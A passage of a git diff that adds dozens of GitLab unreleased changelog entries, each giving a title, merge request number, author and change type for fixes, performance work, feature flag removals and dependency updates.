--- /dev/null
+++ b/changelogs/unreleased/plan-metrics-definitions.yml
@@ -0,0 +1,5 @@
+---
+title: Update Project Management metrics definitions
+merge_request: 58710
+author:
+type: other
diff --git a/changelogs/unreleased/project-overview-copy-id.yml b/changelogs/unreleased/project-overview-copy-id.yml
new file mode 100644
index 00000000000..0b23d39e8ff
--- /dev/null
+++ b/changelogs/unreleased/project-overview-copy-id.yml
@@ -0,0 +1,5 @@
+---
+title: Utilize btn-tertiary for copy project id on project overview
+merge_request: 57766
+author:
+type: changed
diff --git a/changelogs/unreleased/ps-refactor-user-internal-regex-handler.yml b/changelogs/unreleased/ps-refactor-user-internal-regex-handler.yml
new file mode 100644
index 00000000000..156861328e1
--- /dev/null
+++ b/changelogs/unreleased/ps-refactor-user-internal-regex-handler.yml
@@ -0,0 +1,5 @@
+---
+title: In admin new user page, fix external checkbox warning hide with keyboard interaction
+merge_request: 56896
+author:
+type: fixed
diff --git a/changelogs/unreleased/psi-dark-build.yml b/changelogs/unreleased/psi-dark-build.yml
new file mode 100644
index 00000000000..aece4a82cd8
--- /dev/null
+++ b/changelogs/unreleased/psi-dark-build.yml
@@ -0,0 +1,5 @@
+---
+title: Fix dark mode colors of retried jobs in job details page
+merge_request: 58855
+author:
+type: fixed
diff --git a/changelogs/unreleased/psi-dark-mermaid.yml b/changelogs/unreleased/psi-dark-mermaid.yml
new file mode 100644
index 00000000000..49739dc1e0d
--- /dev/null
+++ b/changelogs/unreleased/psi-dark-mermaid.yml
@@ -0,0 +1,5 @@
+---
+title: Fix mermaid diagrams in dark mode
+merge_request: 56183
+author:
+type: fixed
diff --git a/changelogs/unreleased/psi-dark-navbar.yml b/changelogs/unreleased/psi-dark-navbar.yml
new file mode 100644
index 00000000000..e20a9d0b818
--- /dev/null
+++ b/changelogs/unreleased/psi-dark-navbar.yml
@@ -0,0 +1,5 @@
+---
+title: Dark mode nav improvements
+merge_request: 58891
+author:
+type: fixed
diff --git a/changelogs/unreleased/psi-dark-select2.yml b/changelogs/unreleased/psi-dark-select2.yml
new file mode 100644
index 00000000000..90f9dc7edbe
--- /dev/null
+++ b/changelogs/unreleased/psi-dark-select2.yml
@@ -0,0 +1,5 @@
+---
+title: Fix select2 dropdowns in dark mode
+merge_request: 58862
+author:
+type: fixed
diff --git a/changelogs/unreleased/push_confidential_notes_ff_to_fe.yml b/changelogs/unreleased/push_confidential_notes_ff_to_fe.yml
new file mode 100644
index 00000000000..ff6ed4e3875
--- /dev/null
+++ b/changelogs/unreleased/push_confidential_notes_ff_to_fe.yml
@@ -0,0 +1,5 @@
+---
+title: Push confidential_notes feature flag to mr frontend
+merge_request: 56798
+author: Lee Tickett @leetickett
+type: fixed
diff --git a/changelogs/unreleased/qmnguyen0711-add-queue-to-background-transaction.yml b/changelogs/unreleased/qmnguyen0711-add-queue-to-background-transaction.yml
new file mode 100644
index 00000000000..9052df1fa01
--- /dev/null
+++ b/changelogs/unreleased/qmnguyen0711-add-queue-to-background-transaction.yml
@@ -0,0 +1,5 @@
+---
+title: Add queue label to metrics dispatched by background transaction
+merge_request: 59344
+author:
+type: changed
diff --git a/changelogs/unreleased/qmnguyen0711-expand-a-histogram-bucket.yml b/changelogs/unreleased/qmnguyen0711-expand-a-histogram-bucket.yml
new file mode 100644
index 00000000000..fe906d02551
--- /dev/null
+++ b/changelogs/unreleased/qmnguyen0711-expand-a-histogram-bucket.yml
@@ -0,0 +1,5 @@
+---
+title: Adjust gitlab_database_transaction_seconds histogram bucket
+merge_request: 56952
+author:
+type: changed
diff --git a/changelogs/unreleased/qmnguyen0711-rollout-performance-bar-sort-order.yml b/changelogs/unreleased/qmnguyen0711-rollout-performance-bar-sort-order.yml
new file mode 100644
index 00000000000..8a7a8547a8c
--- /dev/null
+++ b/changelogs/unreleased/qmnguyen0711-rollout-performance-bar-sort-order.yml
@@ -0,0 +1,5 @@
+---
+title: Enable chronological sort order for other items in the performance bar
+merge_request: 58572
+author:
+type: changed
diff --git a/changelogs/unreleased/query_count_expire_job_cache_worker.yml b/changelogs/unreleased/query_count_expire_job_cache_worker.yml
new file mode 100644
index 00000000000..8279aa4174a
--- /dev/null
+++ b/changelogs/unreleased/query_count_expire_job_cache_worker.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce query count for popular worker ExpireJobCacheWorker
+merge_request: 57773
+author:
+type: performance
diff --git a/changelogs/unreleased/rails-save-bang-auth-controllers.yml b/changelogs/unreleased/rails-save-bang-auth-controllers.yml
new file mode 100644
index 00000000000..7bd27e0791a
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-auth-controllers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang rubocop offenses in auth controllers
+merge_request: 57886
+author: Abdul Wadood @abdulwd
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-factories.yml b/changelogs/unreleased/rails-save-bang-factories.yml
new file mode 100644
index 00000000000..624fab11a52
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-factories.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang rubocop offenses in spec/factories_spec.rb
+merge_request: 58102
+author: Abdul Wadood @abdulwd
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-features-admin.yml b/changelogs/unreleased/rails-save-bang-features-admin.yml
new file mode 100644
index 00000000000..3c1fc1d8f1a
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-features-admin.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang rubocop offenses in spec/features/admin
+merge_request: 57891
+author: Abdul Wadood @abdulwd
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-features-dashboard.yml b/changelogs/unreleased/rails-save-bang-features-dashboard.yml
new file mode 100644
index 00000000000..c575071968a
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-features-dashboard.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang rubocop offenses in spec/features/dashboard
+merge_request: 57898
+author: Abdul Wadood @abdulwd
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-features-issues.yml b/changelogs/unreleased/rails-save-bang-features-issues.yml
new file mode 100644
index 00000000000..6942bd383dd
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-features-issues.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang rubocop offenses in spec/features/issues
+merge_request: 57900
+author: Abdul Wadood @abdulwd
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-features-projects.yml b/changelogs/unreleased/rails-save-bang-features-projects.yml
new file mode 100644
index 00000000000..7d7287aa798
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-features-projects.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang rubocop offenses in spec/features/projects
+merge_request: 57904
+author: Abdul Wadood @abdulwd
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-groups-controllers.yml b/changelogs/unreleased/rails-save-bang-groups-controllers.yml
new file mode 100644
index 00000000000..444215e0128
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-groups-controllers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang rubocop offenses in spec/controllers/groups*
+merge_request: 57879
+author: Abdul Wadood @abdulwd
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-initializers.yml b/changelogs/unreleased/rails-save-bang-initializers.yml
new file mode 100644
index 00000000000..d3a249b5a85
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-initializers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang rubocop offenses in spec/initializers
+merge_request: 58049
+author: Abdul Wadood @abdulwd
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-profile-project-controllers.yml b/changelogs/unreleased/rails-save-bang-profile-project-controllers.yml
new file mode 100644
index 00000000000..452df5356ff
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-profile-project-controllers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang rubocop offenses in profiles & projects controllers
+merge_request: 57890
+author: Abdul Wadood @abdulwd
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-project-controllers.yml b/changelogs/unreleased/rails-save-bang-project-controllers.yml
new file mode 100644
index 00000000000..76b9cc97c23
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-project-controllers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang rubocop offenses in spec/controllers/projects/*
+merge_request: 57643
+author: Abdul Wadood @abdulwd
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-spec-features.yml b/changelogs/unreleased/rails-save-bang-spec-features.yml
new file mode 100644
index 00000000000..34f86ee424f
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-spec-features.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang rubocop offenses in spec/features/
+merge_request: 57907
+author: Abdul Wadood @abdulwd
+type: fixed
diff --git a/changelogs/unreleased/re-enable-pages-serving-zip-from-disk.yml b/changelogs/unreleased/re-enable-pages-serving-zip-from-disk.yml
new file mode 100644
index 00000000000..c91f090ecc7
--- /dev/null
+++ b/changelogs/unreleased/re-enable-pages-serving-zip-from-disk.yml
@@ -0,0 +1,5 @@
+---
+title: Re-enable serving pages with zip file protocol
+merge_request: 59486
+author:
+type: added
diff --git a/changelogs/unreleased/redirect-cicd-quick-buttons-to-pipeline-editor.yml b/changelogs/unreleased/redirect-cicd-quick-buttons-to-pipeline-editor.yml
new file mode 100644
index 00000000000..c04ef8baf23
--- /dev/null
+++ b/changelogs/unreleased/redirect-cicd-quick-buttons-to-pipeline-editor.yml
@@ -0,0 +1,5 @@
+---
+title: Redirect to the pipeline editor when clicking on CI/CD quick links
+merge_request: 57085
+author:
+type: changed
diff --git a/changelogs/unreleased/reduce-pipline-tooltip-delay-to-zero.yml b/changelogs/unreleased/reduce-pipline-tooltip-delay-to-zero.yml
new file mode 100644
index 00000000000..aedff0a7080
--- /dev/null
+++ b/changelogs/unreleased/reduce-pipline-tooltip-delay-to-zero.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce pipeline tooltip delay to 0
+merge_request: 59155
+author:
+type: changed
diff --git a/changelogs/unreleased/reduce_expire_pipeline_cache_worker_queries.yml b/changelogs/unreleased/reduce_expire_pipeline_cache_worker_queries.yml
new file mode 100644
index 00000000000..40792c6a8db
--- /dev/null
+++ b/changelogs/unreleased/reduce_expire_pipeline_cache_worker_queries.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce query count for ExpirePipelineCacheWorker
+merge_request: 57304
+author:
+type: performance
diff --git a/changelogs/unreleased/ref-finder-performance-improvement.yml b/changelogs/unreleased/ref-finder-performance-improvement.yml
new file mode 100644
index 00000000000..f1e1888e58b
--- /dev/null
+++ b/changelogs/unreleased/ref-finder-performance-improvement.yml
@@ -0,0 +1,5 @@
+---
+title: Minor performance improvement for ref finder
+merge_request: 58099
+author:
+type: performance
diff --git a/changelogs/unreleased/refactor-convert-admin-mode-feature-flag-to-setting.yml b/changelogs/unreleased/refactor-convert-admin-mode-feature-flag-to-setting.yml
new file mode 100644
index 00000000000..82d8267dc5b
--- /dev/null
+++ b/changelogs/unreleased/refactor-convert-admin-mode-feature-flag-to-setting.yml
@@ -0,0 +1,5 @@
+---
+title: Convert admin mode feature flag to system application setting
+merge_request: 53610
+author: Diego Louzán
+type: added
diff --git a/changelogs/unreleased/release-pages-1-37-0.yml b/changelogs/unreleased/release-pages-1-37-0.yml
new file mode 100644
index 00000000000..3cec0336d66
--- /dev/null
+++ b/changelogs/unreleased/release-pages-1-37-0.yml
@@ -0,0 +1,5 @@
+---
+title: Upgrade GitLab Pages to v1.37.0
+merge_request: 57946
+author:
+type: added
diff --git a/changelogs/unreleased/remove-avatar-cache-ff.yml b/changelogs/unreleased/remove-avatar-cache-ff.yml
new file mode 100644
index 00000000000..40f2d618ab4
--- /dev/null
+++ b/changelogs/unreleased/remove-avatar-cache-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Enable cached avatar lookups by email
+merge_request: 58659
+author:
+type: performance
diff --git a/changelogs/unreleased/remove-ci-templates-usage-data-ff.yml b/changelogs/unreleased/remove-ci-templates-usage-data-ff.yml
new file mode 100644
index 00000000000..b8d63827d48
--- /dev/null
+++ b/changelogs/unreleased/remove-ci-templates-usage-data-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Remove feature flag usage_data_track_ci_templates_unique_projects
+merge_request: 57280
+author:
+type: changed
diff --git a/changelogs/unreleased/remove-disabled-add-issues-modal.yml b/changelogs/unreleased/remove-disabled-add-issues-modal.yml
new file mode 100644
index 00000000000..a74466d25f1
--- /dev/null
+++ b/changelogs/unreleased/remove-disabled-add-issues-modal.yml
@@ -0,0 +1,5 @@
+---
+title: Remove add issues modal from issue boards (this has been disabled since 13.6)
+merge_request: 57329
+author:
+type: removed
diff --git a/changelogs/unreleased/remove-feature-flag-fix-flag.yml b/changelogs/unreleased/remove-feature-flag-fix-flag.yml
new file mode 100644
index 00000000000..c7ea6df29d5
--- /dev/null
+++ b/changelogs/unreleased/remove-feature-flag-fix-flag.yml
@@ -0,0 +1,6 @@
+---
+title: Fix rare race condition in GitLab-internal feature flags with database load
+ balancing enabled
+merge_request:
+author:
+type: fixed
diff --git a/changelogs/unreleased/remove-namespace_project_container_registry_index-json.yml b/changelogs/unreleased/remove-namespace_project_container_registry_index-json.yml
new file mode 100644
index 00000000000..54cfd8a902f
--- /dev/null
+++ b/changelogs/unreleased/remove-namespace_project_container_registry_index-json.yml
@@ -0,0 +1,5 @@
+---
+title: Remove JSON endpoint for project container index
+merge_request: 52407
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/remove-optimize_deploy_keys_presenter-feature-flag.yml b/changelogs/unreleased/remove-optimize_deploy_keys_presenter-feature-flag.yml
new file mode 100644
index 00000000000..89b278e0857
--- /dev/null
+++ b/changelogs/unreleased/remove-optimize_deploy_keys_presenter-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Optimize Deploy Keys Presenter
+merge_request: 57551
+author:
+type: performance
diff --git a/changelogs/unreleased/remove-underline-credit.yml b/changelogs/unreleased/remove-underline-credit.yml
new file mode 100644
index 00000000000..00029614606
--- /dev/null
+++ b/changelogs/unreleased/remove-underline-credit.yml
@@ -0,0 +1,5 @@
+---
+title: Remove underline in apply for credit button in k8s page alert
+merge_request: 58232
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/remove_epics_index.yml b/changelogs/unreleased/remove_epics_index.yml
new file mode 100644
index 00000000000..da3b1691b66
--- /dev/null
+++ b/changelogs/unreleased/remove_epics_index.yml
@@ -0,0 +1,5 @@
+---
+title: Remove redundant index from epics
+merge_request: 59494
+author:
+type: other
diff --git a/changelogs/unreleased/rename-create-issue.yml b/changelogs/unreleased/rename-create-issue.yml
new file mode 100644
index 00000000000..468ee2de8ae
--- /dev/null
+++ b/changelogs/unreleased/rename-create-issue.yml
@@ -0,0 +1,5 @@
+---
+title: Rename Submit issue to Create issue in boards and docs
+merge_request: 58243
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/rename-vuln-fingerprints.yml b/changelogs/unreleased/rename-vuln-fingerprints.yml
new file mode 100644
index 00000000000..a33b84f4731
--- /dev/null
+++ b/changelogs/unreleased/rename-vuln-fingerprints.yml
@@ -0,0 +1,5 @@
+---
+title: Rename table/model vulnerability_finding_fingerprints to *_signatures
+merge_request: 57840
+author:
+type: other
diff --git a/changelogs/unreleased/rename_to_promote_smoother_transition.yml b/changelogs/unreleased/rename_to_promote_smoother_transition.yml
new file mode 100644
index 00000000000..1d75a069564
--- /dev/null
+++ b/changelogs/unreleased/rename_to_promote_smoother_transition.yml
@@ -0,0 +1,5 @@
+---
+title: Rename jobs to promote a smoother transition between Klar and Trivy based scanners
+merge_request: 57593
+author:
+type: changed
diff --git a/changelogs/unreleased/repository-set-cache-races.yml b/changelogs/unreleased/repository-set-cache-races.yml
new file mode 100644
index 00000000000..e3365ab7c2c
--- /dev/null
+++ b/changelogs/unreleased/repository-set-cache-races.yml
@@ -0,0 +1,5 @@
+---
+title: Fix two data races in the branch names cache
+merge_request: 57607
+author:
+type: fixed
diff --git a/changelogs/unreleased/revert-0767b9e2.yml b/changelogs/unreleased/revert-0767b9e2.yml
new file mode 100644
index 00000000000..e06cf2926b6
--- /dev/null
+++ b/changelogs/unreleased/revert-0767b9e2.yml
@@ -0,0 +1,5 @@
+---
+title: Revert Ignore default_enabled value in Feature.enabled?
+merge_request: 57707
+author:
+type: fixed
diff --git a/changelogs/unreleased/revert-fe676e7b.yml b/changelogs/unreleased/revert-fe676e7b.yml
new file mode 100644
index 00000000000..0f54c66eb33
--- /dev/null
+++ b/changelogs/unreleased/revert-fe676e7b.yml
@@ -0,0 +1,5 @@
+---
+title: Remove On-call Edit feature flag
+merge_request: 56445
+author:
+type: other
diff --git a/changelogs/unreleased/revert-inner-join-cte-fix.yml b/changelogs/unreleased/revert-inner-join-cte-fix.yml
new file mode 100644
index 00000000000..58764c78c04
--- /dev/null
+++ b/changelogs/unreleased/revert-inner-join-cte-fix.yml
@@ -0,0 +1,5 @@
+---
+title: Remove the recursive_namespace_lookup_as_inner_join feature flag
+merge_request: 57131
+author:
+type: other
diff --git a/changelogs/unreleased/rollout-pat-revoke-gma.yml b/changelogs/unreleased/rollout-pat-revoke-gma.yml
new file mode 100644
index 00000000000..06b6ac7c67f
--- /dev/null
+++ b/changelogs/unreleased/rollout-pat-revoke-gma.yml
@@ -0,0 +1,5 @@
+---
+title: Personal access token revoke for managed accounts (feature flag removed)
+merge_request: 56427
+author:
+type: added
diff --git a/changelogs/unreleased/russell-improve-jira-service-help-text-2.yml b/changelogs/unreleased/russell-improve-jira-service-help-text-2.yml
new file mode 100644
index 00000000000..aa56b0608ad
--- /dev/null
+++ b/changelogs/unreleased/russell-improve-jira-service-help-text-2.yml
@@ -0,0 +1,5 @@
+---
+title: Update Jira plugin UI copy
+merge_request: 57793
+author: Russell Dickenson rdickenson@gitlab.com
+type: other
diff --git a/changelogs/unreleased/sfang-fix-group-settings-link.yml b/changelogs/unreleased/sfang-fix-group-settings-link.yml
new file mode 100644
index 00000000000..57370c895aa
--- /dev/null
+++ b/changelogs/unreleased/sfang-fix-group-settings-link.yml
@@ -0,0 +1,5 @@
+---
+title: Fix project access token creation group settings link
+merge_request: 58686
+author:
+type: fixed
diff --git a/changelogs/unreleased/sfang-token-read-write-permissions.yml b/changelogs/unreleased/sfang-token-read-write-permissions.yml
new file mode 100644
index 00000000000..16fdadeb23c
--- /dev/null
+++ b/changelogs/unreleased/sfang-token-read-write-permissions.yml
@@ -0,0 +1,5 @@
+---
+title: Create new policies for read, destroy, and create tokens
+merge_request: 56464
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-avoid-rate-limit-container-registry-events.yml b/changelogs/unreleased/sh-avoid-rate-limit-container-registry-events.yml
new file mode 100644
index 00000000000..444db50a8eb
--- /dev/null
+++ b/changelogs/unreleased/sh-avoid-rate-limit-container-registry-events.yml
@@ -0,0 +1,5 @@
+---
+title: Skip Rack Attack rate limiting for container registry event API
+merge_request: 59085
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-deploy-to-legacy-feature-flag.yml b/changelogs/unreleased/sh-deploy-to-legacy-feature-flag.yml
new file mode 100644
index 00000000000..151348af436
--- /dev/null
+++ b/changelogs/unreleased/sh-deploy-to-legacy-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: 'Pages: Add feature flag to disable deployment to legacy storage'
+merge_request: 59298
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-enable-workhorse-extract-filename-base-default.yml b/changelogs/unreleased/sh-enable-workhorse-extract-filename-base-default.yml
new file mode 100644
index 00000000000..cd2d5e8410c
--- /dev/null
+++ b/changelogs/unreleased/sh-enable-workhorse-extract-filename-base-default.yml
@@ -0,0 +1,5 @@
+---
+title: Set workhorse_extract_filename_base feature flag to default
+merge_request: 58504
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-fix-encoded-api-project-urls.yml b/changelogs/unreleased/sh-fix-encoded-api-project-urls.yml
new file mode 100644
index 00000000000..c507c602084
--- /dev/null
+++ b/changelogs/unreleased/sh-fix-encoded-api-project-urls.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Workhorse acceleration for encoded project IDs in API
+merge_request: 56731
+author:
+type: performance
diff --git a/changelogs/unreleased/sh-global-use-distinct-object-hierarchy.yml b/changelogs/unreleased/sh-global-use-distinct-object-hierarchy.yml
new file mode 100644
index 00000000000..d6d58f7448e
--- /dev/null
+++ b/changelogs/unreleased/sh-global-use-distinct-object-hierarchy.yml
@@ -0,0 +1,5 @@
+---
+title: Enable DISTINCT optimization for ObjectHierarchy globally
+merge_request: 57052
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-log-all-api-project-uploads.yml b/changelogs/unreleased/sh-log-all-api-project-uploads.yml
new file mode 100644
index 00000000000..d7499a37470
--- /dev/null
+++ b/changelogs/unreleased/sh-log-all-api-project-uploads.yml
@@ -0,0 +1,5 @@
+---
+title: Log all API uploads that exceed max attachment size
+merge_request: 59292
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-log-upload-api-exceed-size.yml b/changelogs/unreleased/sh-log-upload-api-exceed-size.yml
new file mode 100644
index 00000000000..1589394a3c9
--- /dev/null
+++ b/changelogs/unreleased/sh-log-upload-api-exceed-size.yml
@@ -0,0 +1,5 @@
+---
+title: Log message when upload via API exceeds limit
+merge_request: 57774
+author:
+type: added
diff --git a/changelogs/unreleased/sh-pages-tmp-dir-use-build-id.yml b/changelogs/unreleased/sh-pages-tmp-dir-use-build-id.yml
new file mode 100644
index 00000000000..db9daca248e
--- /dev/null
+++ b/changelogs/unreleased/sh-pages-tmp-dir-use-build-id.yml
@@ -0,0 +1,5 @@
+---
+title: Include project and build ID in Pages tmp directory
+merge_request: 59106
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-remove-kramdown-patch.yml b/changelogs/unreleased/sh-remove-kramdown-patch.yml
new file mode 100644
index 00000000000..86fc282d363
--- /dev/null
+++ b/changelogs/unreleased/sh-remove-kramdown-patch.yml
@@ -0,0 +1,5 @@
+---
+title: Remove Kramdown patch and update to v2.3.1 gem
+merge_request: 56917
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-update-mailroom-config.yml b/changelogs/unreleased/sh-update-mailroom-config.yml
new file mode 100644
index 00000000000..0b3f9d4c61f
--- /dev/null
+++ b/changelogs/unreleased/sh-update-mailroom-config.yml
@@ -0,0 +1,5 @@
+---
+title: Add config support for using Microsoft Graph with MailRoom
+merge_request: 58250
+author:
+type: added
diff --git a/changelogs/unreleased/sh-update-rails-6-0-3-6.yml b/changelogs/unreleased/sh-update-rails-6-0-3-6.yml
new file mode 100644
index 00000000000..d4f7da5f486
--- /dev/null
+++ b/changelogs/unreleased/sh-update-rails-6-0-3-6.yml
@@ -0,0 +1,5 @@
+---
+title: Update to Rails v6.0.3.6
+merge_request: 59328
+author:
+type: security
diff --git a/changelogs/unreleased/sh-update-ruby-magic-0-4-0.yml b/changelogs/unreleased/sh-update-ruby-magic-0-4-0.yml
new file mode 100644
index 00000000000..c8d9a7aa35b
--- /dev/null
+++ b/changelogs/unreleased/sh-update-ruby-magic-0-4-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update ruby-magic to v0.4.0
+merge_request: 58947
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-update-ruby-magic-static-0-3-5.yml b/changelogs/unreleased/sh-update-ruby-magic-static-0-3-5.yml
new file mode 100644
index 00000000000..1dc44618898
--- /dev/null
+++ b/changelogs/unreleased/sh-update-ruby-magic-static-0-3-5.yml
@@ -0,0 +1,5 @@
+---
+title: Update ruby-magic-static to v0.3.5
+merge_request: 57984
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-update-ruby-magic.yml b/changelogs/unreleased/sh-update-ruby-magic.yml
new file mode 100644
index 00000000000..7e6c456f90f
--- /dev/null
+++ b/changelogs/unreleased/sh-update-ruby-magic.yml
@@ -0,0 +1,5 @@
+---
+title: Update ruby-magic to v0.3.2
+merge_request: 58537
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-workhorse-api-upload-acceleration.yml b/changelogs/unreleased/sh-workhorse-api-upload-acceleration.yml
new file mode 100644
index 00000000000..984e8008e41
--- /dev/null
+++ b/changelogs/unreleased/sh-workhorse-api-upload-acceleration.yml
@@ -0,0 +1,5 @@
+---
+title: Accelerate uploads via API with Workhorse
+merge_request: 57250
+author:
+type: performance
diff --git a/changelogs/unreleased/show-user-name-pipeline.yml b/changelogs/unreleased/show-user-name-pipeline.yml
new file mode 100644
index 00000000000..2abfe2b6f63
--- /dev/null
+++ b/changelogs/unreleased/show-user-name-pipeline.yml
@@ -0,0 +1,5 @@
+---
+title: Remove extra tooltip from pipelines overview page
+merge_request: 52902
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/skip-individual-subscribed-access-filter.yml b/changelogs/unreleased/skip-individual-subscribed-access-filter.yml
new file mode 100644
index 00000000000..2f97481af66
--- /dev/null
+++ b/changelogs/unreleased/skip-individual-subscribed-access-filter.yml
@@ -0,0 +1,5 @@
+---
+title: Check access only for requesting user when checking if subscribed
+merge_request: 57201
+author:
+type: performance
diff --git a/changelogs/unreleased/skr-networks.yml b/changelogs/unreleased/skr-networks.yml
new file mode 100644
index 00000000000..8ef0107e94e
--- /dev/null
+++ b/changelogs/unreleased/skr-networks.yml
@@ -0,0 +1,5 @@
+---
+title: Catch network errors
+merge_request: 56457
+author: Shubham Kumar (@imskr)
+type: fixed
diff --git a/changelogs/unreleased/ssh_key_expiration.yml b/changelogs/unreleased/ssh_key_expiration.yml
new file mode 100644
index 00000000000..aa190ee5208
--- /dev/null
+++ b/changelogs/unreleased/ssh_key_expiration.yml
@@ -0,0 +1,5 @@
+---
+title: Send email notification on SSH key expiration
+merge_request: 56888
+author:
+type: added
diff --git a/changelogs/unreleased/sy-on-call-usage-ping.yml b/changelogs/unreleased/sy-on-call-usage-ping.yml
new file mode 100644
index 00000000000..fe3dd8521d7
--- /dev/null
+++ b/changelogs/unreleased/sy-on-call-usage-ping.yml
@@ -0,0 +1,5 @@
+---
+title: Add count of unique users to receive on-call notification to usage ping
+merge_request: 58606
+author:
+type: changed
diff --git a/changelogs/unreleased/sy-system-note-recovery-alert-string-change.yml b/changelogs/unreleased/sy-system-note-recovery-alert-string-change.yml
new file mode 100644
index 00000000000..46c56707636
--- /dev/null
+++ b/changelogs/unreleased/sy-system-note-recovery-alert-string-change.yml
@@ -0,0 +1,5 @@
+---
+title: Update resolving alert system notes to use term Recovery Alert
+merge_request: 58513
+author:
+type: changed
diff --git a/changelogs/unreleased/tags-api-performance.yml b/changelogs/unreleased/tags-api-performance.yml
new file mode 100644
index 00000000000..ea7b0d3cf10
--- /dev/null
+++ b/changelogs/unreleased/tags-api-performance.yml
@@ -0,0 +1,5 @@
+---
+title: API JSON caching for tags endpoint
+merge_request: 54975
+author:
+type: performance
diff --git a/changelogs/unreleased/tc-move-commit-buttons.yml b/changelogs/unreleased/tc-move-commit-buttons.yml
new file mode 100644
index 00000000000..52f13e85e83
--- /dev/null
+++ b/changelogs/unreleased/tc-move-commit-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Move commit neighbor buttons to sticky MR controls
+merge_request: 57743
+author:
+type: changed
diff --git a/changelogs/unreleased/tnir-Layout-SpaceAfterColon.yml b/changelogs/unreleased/tnir-Layout-SpaceAfterColon.yml
new file mode 100644
index 00000000000..e6c724bfaa1
--- /dev/null
+++ b/changelogs/unreleased/tnir-Layout-SpaceAfterColon.yml
@@ -0,0 +1,5 @@
+---
+title: Enable Layout/SpaceAfterColon cop for HAML
+merge_request: 58564
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/top_level_group_recaptcha.yml b/changelogs/unreleased/top_level_group_recaptcha.yml
new file mode 100644
index 00000000000..9bb737f53fa
--- /dev/null
+++ b/changelogs/unreleased/top_level_group_recaptcha.yml
@@ -0,0 +1,5 @@
+---
+title: Add recaptcha to top-level group creation behind feature flag
+merge_request: 56707
+author:
+type: added
diff --git a/changelogs/unreleased/tor-defect-overview-placeholder-message-diffs-new-data-source.yml b/changelogs/unreleased/tor-defect-overview-placeholder-message-diffs-new-data-source.yml
new file mode 100644
index 00000000000..d602bad9d4e
--- /dev/null
+++ b/changelogs/unreleased/tor-defect-overview-placeholder-message-diffs-new-data-source.yml
@@ -0,0 +1,6 @@
+---
+title: Hydrate some of the variables in the Overview tab suggestion commit placeholder
+ by switching the Diffs data source for it
+merge_request: 57419
+author:
+type: changed
diff --git a/changelogs/unreleased/tor-defect-overview-placeholder-message-overview-file-source.yml b/changelogs/unreleased/tor-defect-overview-placeholder-message-overview-file-source.yml
new file mode 100644
index 00000000000..8ceb2067a4b
--- /dev/null
+++ b/changelogs/unreleased/tor-defect-overview-placeholder-message-overview-file-source.yml
@@ -0,0 +1,6 @@
+---
+title: Fill in all placeholder values in the apply suggestion commit message placeholder
+ text
+merge_request: 58136
+author:
+type: other
diff --git a/changelogs/unreleased/tor-defect-remove-endless-scroll-jquery-animation.yml b/changelogs/unreleased/tor-defect-remove-endless-scroll-jquery-animation.yml
new file mode 100644
index 00000000000..6eb2d2fcbe3
--- /dev/null
+++ b/changelogs/unreleased/tor-defect-remove-endless-scroll-jquery-animation.yml
@@ -0,0 +1,6 @@
+---
+title: Remove calls to jQuery animations to fix infinite scrolling on the Repository
+ commits page
+merge_request: 57379
+author:
+type: fixed
diff --git a/changelogs/unreleased/tor-defect-single-quote-escapes.yml b/changelogs/unreleased/tor-defect-single-quote-escapes.yml
new file mode 100644
